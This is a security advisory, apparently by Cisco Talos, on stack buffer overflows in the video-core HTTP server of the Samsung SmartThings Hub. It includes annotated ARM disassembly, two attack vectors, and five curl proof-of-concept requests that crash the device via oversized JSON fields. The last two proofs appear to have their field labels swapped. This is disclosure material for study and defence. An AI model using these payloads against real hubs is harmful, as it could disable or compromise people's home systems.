CVE-2018-3893, CVE-2018-3894, CVE-2018-3895, CVE-2018-3896, CVE-2018-3897
Multiple exploitable buffer overflow vulnerabilities exist in the /cameras/XXXX/clips
handler of video-core
’s HTTP server of Samsung SmartThings Hub. The video-core
process incorrectly extracts fields from a user-controlled JSON payload, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
https://www.smartthings.com/products/smartthings-hub
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.
The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore
process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they’re both in the same subnetwork.
Inside the hub, the livestream is handled by the video-core
process, which uses ffmpeg
to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.
The remote SmartThings servers have the possibility to communicate with the video-core
process by sending messages in the persistent TLS connection, established by the hubCore
process. These messages can encapsulate an HTTP request, which hubCore
would relay directly to the HTTP server exposed by video-core
. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.
We identified a vulnerable request that can be exploited to achieve code execution on the video-core
process, which is running as root.
By sending a POST request for the /cameras/<camera-id>/clips
path, it’s possible to set up new clip recording parameters in the hub.
Such request is handled by function sub_292DC
:
.text:000292DC sub_292DC
.text:000292DC
.text:000292DC 000 MOV R12, #:lower16:dword_BB788
.text:000292E0 000 STMFD SP!, {R4-R9,R11,LR}
.text:000292E4 020 MOVT R12, #:upper16:dword_BB788
.text:000292E8 020 ADD R11, SP, #0x1C
...
.text:00029354 E18 BL http_required_json_parameters ; [1]
.text:00029358 E18 SUBS R1, R0, #0
.text:0002935C E18 BEQ loc_294A8
...
.text:000294F8 loc_294F8
.text:000294F8 000 SUB R3, R11, #-var_AB0
.text:000294FC 000 MOV R2, R8
.text:00029500 000 SUB R3, R3, #0xC
.text:00029504 000 MOV R0, R6
.text:00029508 000 ADD R1, R3, #0x114
.text:0002950C 000 BL memcpy
.text:00029510 000 SUB R3, R11, #-var_1C
.text:00029514 000 MOV R0, R5
.text:00029518 000 ADD R8, R3, R8
.text:0002951C 000 STRB R4, [R8,#-0xCA8]
.text:00029520 000 BL extract_correlationId ; [2]
.text:00029524 000 SUBS R8, R0, #0
.text:00029528 000 BEQ loc_295F4
.text:0002952C 000 SUB R3, R11, #-var_D90
.text:00029530 000 MOV R2, #:lower16:aCameraid_1 ; "cameraId"
.text:00029534 000 SUB R3, R3, #0xC
.text:00029538 000 MOVT R2, #:upper16:aCameraid_1 ; "cameraId"
.text:0002953C 000 SUB R3, R3, #8
.text:00029540 000 MOV R0, #1 ; db_id
.text:00029544 000 MOV R1, R8 ; where
.text:00029548 000 STR R4, [R11,#dest]
.text:0002954C 000 BL db_find ; [3] search for correlationId (clip id)
.text:00029550 000 CMP R0, #0
.text:00029554 000 BNE loc_2965C
...
.text:0002965C loc_2965C
..
.text:00029664 000 MOV R0, R6
.text:00029668 000 BL db_camera_exists ; [4]
.text:0002966C 000 BIC R1, R0, #2
.text:00029670 000 CMN R1, #8
.text:00029674 000 CMNNE R0, #4
.text:00029678 000 MOVEQ R1, #1
.text:0002967C 000 MOVNE R1, #0
.text:00029680 000 BEQ loc_29728
.text:00029684 000 SUB R0, R11, #-var_D70
.text:00029688 000 MOV R2, #0x64
.text:0002968C 000 SUB R0, R0, #8
.text:00029690 000 BL memset
.text:00029694 000 SUB R3, R11, #-var_D70
.text:00029698 000 SUB R2, R11, #-var_CE0
.text:0002969C 000 SUB R3, R3, #8
.text:000296A0 000 MOV R0, R5
.text:000296A4 000 STR R3, [SP,#-4+arg_0]
.text:000296A8 000 MOV R1, R7
.text:000296AC 000 SUB R2, R2, #0xC
.text:000296B0 000 MOV R3, R6
.text:000296B4 000 BL sub_125C4 ; [5]
Note that the binary embeds the “json-c” library that is used to manage JSON objects.
The function initially calls http_required_json_parameters
at [1] to verify that all the required parameters are specified in the JSON request. The parameters are: captureTime
, startTime
, endTime
, callbackUrl
, correlationId
.
At [2], the correlationId
parameter is extracted from the POST request and at [3] the internal video-core
database is queried to see if the specified “correlationId” already exists, in which case the function will terminate. Moreover, at [4] the database is queried again to ensure that the “camera-id” specified in the HTTP path already exists.
If the above conditions are satisfied, sub_125C4
[5] is called.
.text:000125C4 sub_125C4
.text:000125C4
.text:000125C4 000 STMFD SP!, {R4-R11,LR}
.text:000125C8 024 MOV R5, R0
.text:000125CC 024 SUB SP, SP, #0x39C
.text:000125D0 3C0 MOV R11, R3
.text:000125D4 3C0 MOV R10, R1
.text:000125D8 3C0 MOV R9, R2
.text:000125DC 3C0 BL http_resp_packer__buffer_init
.text:000125E0 3C0 MOV R4, R0
.text:000125E4 3C0 BL http_resp_packer__buffer_init
.text:000125E8 3C0 MOV R8, R0
.text:000125EC 3C0 BL json_tokener_new
.text:000125F0 3C0 MOV R6, R0
.text:000125F4 3C0 MOV R0, R5
.text:000125F8 3C0 BL strlen
.text:000125FC 3C0 MOV R1, R5
.text:00012600 3C0 MOV R2, R0
.text:00012604 3C0 MOV R0, R6
.text:00012608 3C0 BL json_tokener_parse_ex ; [6]
.text:0001260C 3C0 LDR R3, [R6,#0x1C]
.text:00012610 3C0 MOV R7, R0
...
.text:000127B8 3C0 MOV R1, #:lower16:aCapturetime ; "captureTime"
.text:000127BC 3C0 ADD R2, SP, #0x3C0+value
.text:000127C0 3C0 MOVT R1, #:upper16:aCapturetime ; "captureTime"
.text:000127C4 3C0 MOV R0, R7 ; jso
.text:000127C8 3C0 BL json_object_object_get_ex
.text:000127CC 3C0 CMP R0, #0
.text:000127D0 3C0 MOVT R5, #:upper16:dword_D90CC
.text:000127D4 3C0 BEQ loc_1319C
.text:000127D8
.text:000127D8 loc_127D8
.text:000127D8 3C0 LDR R0, [SP,#0x3C0+value]
.text:000127DC 3C0 BL json_object_to_json_string ; [7]
.text:000127E0 3C0 SUBS R11, R0, #0
.text:000127E4 3C0 BEQ loc_13244
.text:000127E8 3C0 BL strlen ; [8]
.text:000127EC 3C0 MOV R1, R11
.text:000127F0 3C0 ADD R3, SP, #0x3C0+var_20C
.text:000127F4 3C0 MOV R11, #0
.text:000127F8 3C0 MOV R2, R0
.text:000127FC 3C0 STR R0, [SP,#0x3C0+src]
.text:00012800 3C0 ADD R0, SP, #0x3C0+var_2D8
...
.text:00012864 3C0 BL strncpy ; [9]
.text:00012868 3C0 LDR R3, [SP,#0x3C0+src]
.text:0001286C 3C0 ADD R2, SP, #0x3C0+var_28
.text:00012870 3C0 MOV R1, #:lower16:aYMDtT ; "%Y-%m-%dT%T"
.text:00012874 3C0 ADD R0, SP, #0x3C0+var_2D8
.text:00012878 3C0 MOVT R1, #:upper16:aYMDtT ; "%Y-%m-%dT%T"
.text:0001287C 3C0 ADD R3, R2, R3
.text:00012880 3C0 ADD R2, SP, #0x3C0+tp
.text:00012884 3C0 STRB R11, [R3,#-0x2B0]
.text:00012888 3C0 BL strptime ; [10]
.text:0001288C 3C0 CMP R0, R11
.text:00012890 3C0 BEQ loc_131FC
...
.text:0001290C 3C0 MOV R1, #:lower16:(aFailedToParseS+0x10) ; "startTime"
.text:00012910 3C0 MOV R0, R7 ; jso
.text:00012914 3C0 ADD R2, SP, #0x3C0+value
.text:00012918 3C0 MOVT R1, #:upper16:(aFailedToParseS+0x10) ; "startTime"
.text:0001291C 3C0 BL json_object_object_get_ex
.text:00012920 3C0 CMP R0, #0
.text:00012924 3C0 BNE loc_12934
...
.text:00012934 loc_12934
.text:00012934 3C0 LDR R0, [SP,#0x3C0+value]
.text:00012938 3C0 BL json_object_to_json_string ; [7]
.text:0001293C 3C0 SUBS R11, R0, #0
.text:00012940 3C0 BEQ loc_13334
...
.text:000129C0 3C0 MOV R0, R11
.text:000129C4 3C0 STRB R3, [R2,#-0x27C]
.text:000129C8 3C0 BL strlen ; [8]
.text:000129CC 3C0 MOV R1, R11
.text:000129D0 3C0 MOV R2, R0
.text:000129D4 3C0 ADD R0, SP, #0x3C0+var_2A4
.text:000129D8 3C0 BL strncpy ; [9]
.text:000129DC 3C0 MOV R1, #:lower16:aYMDtT ; "%Y-%m-%dT%T"
.text:000129E0 3C0 ADD R0, SP, #0x3C0+var_2A4
.text:000129E4 3C0 ADD R2, SP, #0x3C0+tp
.text:000129E8 3C0 MOVT R1, #:upper16:aYMDtT ; "%Y-%m-%dT%T"
.text:000129EC 3C0 BL strptime ; [10]
.text:000129F0 3C0 CMP R0, #0
.text:000129F4 3C0 BEQ loc_13388
...
.text:00012A70 3C0 MOV R1, #:lower16:(aFailedToParseE+0x10) ; "endTime"
.text:00012A74 3C0 MOV R0, R7 ; jso
.text:00012A78 3C0 ADD R2, SP, #0x3C0+value
.text:00012A7C 3C0 MOVT R1, #:upper16:(aFailedToParseE+0x10) ; "endTime"
.text:00012A80 3C0 BL json_object_object_get_ex
.text:00012A84 3C0 CMP R0, #0
.text:00012A88 3C0 BNE loc_12AE4
...
.text:00012AE4 loc_12AE4
.text:00012AE4 3C0 LDR R0, [SP,#0x3C0+value]
.text:00012AE8 3C0 BL json_object_to_json_string ; [7]
.text:00012AEC 3C0 SUBS R11, R0, #0
...
.text:00012B70 3C0 MOV R0, R11
.text:00012B74 3C0 STRB R3, [R2,#-0x248]
.text:00012B78 3C0 BL strlen ; [8]
.text:00012B7C 3C0 MOV R1, R11
.text:00012B80 3C0 MOV R2, R0
.text:00012B84 3C0 ADD R0, SP, #0x3C0+var_270
.text:00012B88 3C0 BL strncpy ; [9]
.text:00012B8C 3C0 MOV R1, #:lower16:aYMDtT ; "%Y-%m-%dT%T"
.text:00012B90 3C0 ADD R0, SP, #0x3C0+var_270
.text:00012B94 3C0 ADD R2, SP, #0x3C0+tp
.text:00012B98 3C0 MOVT R1, #:upper16:aYMDtT ; "%Y-%m-%dT%T"
.text:00012B9C 3C0 BL strptime ; [10]
.text:00012BA0 3C0 CMP R0, #0
.text:00012BA4 3C0 BEQ loc_134B0
...
.text:00012C44 3C0 MOV R1, #:lower16:aCorrelationid ; "correlationId"
.text:00012C48 3C0 MOV R0, R7 ; jso
.text:00012C4C 3C0 MOVT R1, #:upper16:aCorrelationid ; "correlationId"
.text:00012C50 3C0 ADD R2, SP, #0x3C0+value
.text:00012C54 3C0 BL json_object_object_get_ex
.text:00012C58 3C0 CMP R0, #0
.text:00012C5C 3C0 BNE loc_12C6C
...
.text:00012C6C loc_12C6C
.text:00012C6C 3C0 LDR R0, [SP,#0x3C0+value]
.text:00012C70 3C0 BL json_object_to_json_string ; [7]
.text:00012C74 3C0 SUBS R1, R0, #0
.text:00012C78 3C0 STR R1, [SP,#0x3C0+src]
.text:00012C7C 3C0 BEQ loc_13500
.text:00012C80 3C0 BL strlen ; [8]
.text:00012C84 3C0 LDR R1, [SP,#0x3C0+src]
.text:00012C88 3C0 MOV R11, R0
.text:00012C8C 3C0 MOV R2, R0
.text:00012C90 3C0 ADD R0, SP, #0x3C0+var_340
.text:00012C94 3C0 BL strncpy ; [9]
...
.text:00012D18 3C0 MOV R1, #:lower16:aCallbackurl ; "callbackUrl"
.text:00012D1C 3C0 ADD R2, SP, #0x3C0+value
.text:00012D20 3C0 MOVT R1, #:upper16:aCallbackurl ; "callbackUrl"
.text:00012D24 3C0 MOV R0, R7 ; jso
...
.text:00012D30 3C0 BL json_object_object_get_ex
.text:00012D34 3C0 CMP R0, #0
.text:00012D38 3C0 BNE loc_12D48
...
.text:00012D48 loc_12D48
.text:00012D48 3C0 LDR R0, [SP,#0x3C0+value]
.text:00012D4C 3C0 BL json_object_to_json_string ; [7]
.text:00012D50 3C0 SUBS R11, R0, #0
.text:00012D54 3C0 BEQ loc_135B8
.text:00012D58 3C0 BL strlen ; [8]
.text:00012D5C 3C0 MOV R1, R11
.text:00012D60 3C0 MOV R10, R0
.text:00012D64 3C0 MOV R2, R0
.text:00012D68 3C0 ADD R0, SP, #0x3C0+var_30C
.text:00012D6C 3C0 BL strncpy ; [9]
The function begins by fetching the JSON payload from the HTTP request and by parsing it using json_tokener_parse
[6].
Then, each of the five parameters are extracted using the following sequence:
- call to `json_object_object_get_ex` and `json_object_to_json_string` [7] for extracting a parameter by key name.
- copy the parameter value in a buffer on the stack, using `strlen` [8] and `strncpy` [9].
- time-related parameters (that is `captureTime`, `startTime` and `endTime`) are also parsed by `strptime` [10], and if the parsing fails the function exits early.
We can see that the length
value for the strncpy
call is set from the strlen
output of the source string itself. At high level, this would be:
strncpy(stack_buffer, json_parameter, strlen(json_parameter));
Since json_parameter
is controlled by the user, there is no restriction on the length of the copy operation, which allows for overflowing the stack buffer and execute arbitrary code.
We identified two different vectors that allow for exploiting this vulnerability:
hubCore
that would be relayed without modification to the vulnerable video-core
process.hubCore
process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core
process.A third vector might exist, but we decided not to test it to avoid damaging any live infrastructure. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.
The following is a list of each vulnerability and its proof of concept.
Each proof of concept uses the placeholder “OVERFLOW” to highlight the vulnerable parameter, which can be replaced with "A"*1000
to make the device crash.
A key with value “x” means that its value is irrelevant, but the key still needs to be present.
It’s also assumed that a camera is already present and its id is represented by the variable “${sCameraId}”.
The strncpy
call overflows the destination buffer, which has a size of 52 bytes.
An attacker can send an arbitrarily long “captureTime” value in order to exploit this vulnerability:
$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"OVERFLOW","startTime":"x","endTime":"x","callbackUrl":"x","correlationId":"x"}'
The strncpy
call overflows the destination buffer, which has a size of 52 bytes.
An attacker can send an arbitrarily long “startTime” value in order to exploit this vulnerability:
$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"2000-01-01T00:00:00","startTime":"OVERFLOW","endTime":"x","callbackUrl":"x","correlationId":"x"}'
The strncpy
call overflows the destination buffer, which has a size of 52 bytes.
An attacker can send an arbitrarily long “endTime” value in order to exploit this vulnerability:
$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"2000-01-01T00:00:00","startTime":"2000-01-01T00:00:00","endTime":"OVERFLOW","callbackUrl":"x","correlationId":"x"}'
The strncpy
call overflows the destination buffer, which has a size of 52 bytes.
An attacker can send an arbitrarily long “correlationId” value in order to exploit this vulnerability:
$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"2000-01-01T00:00:00","startTime":"2000-01-01T00:00:00","endTime":"2000-01-01T00:00:00","callbackUrl":"OVERFLOW","correlationId":"x"}'
The strncpy
call overflows the destination buffer, which has a size of 52 bytes.
An attacker can send an arbitrarily long “callbackUrl” value in order to exploit this vulnerability:
$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"2000-01-01T00:00:00","startTime":"2000-01-01T00:00:00","endTime":"2000-01-01T00:00:00","callbackUrl":"x","correlationId":"OVERFLOW"}'
2018-04-12 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.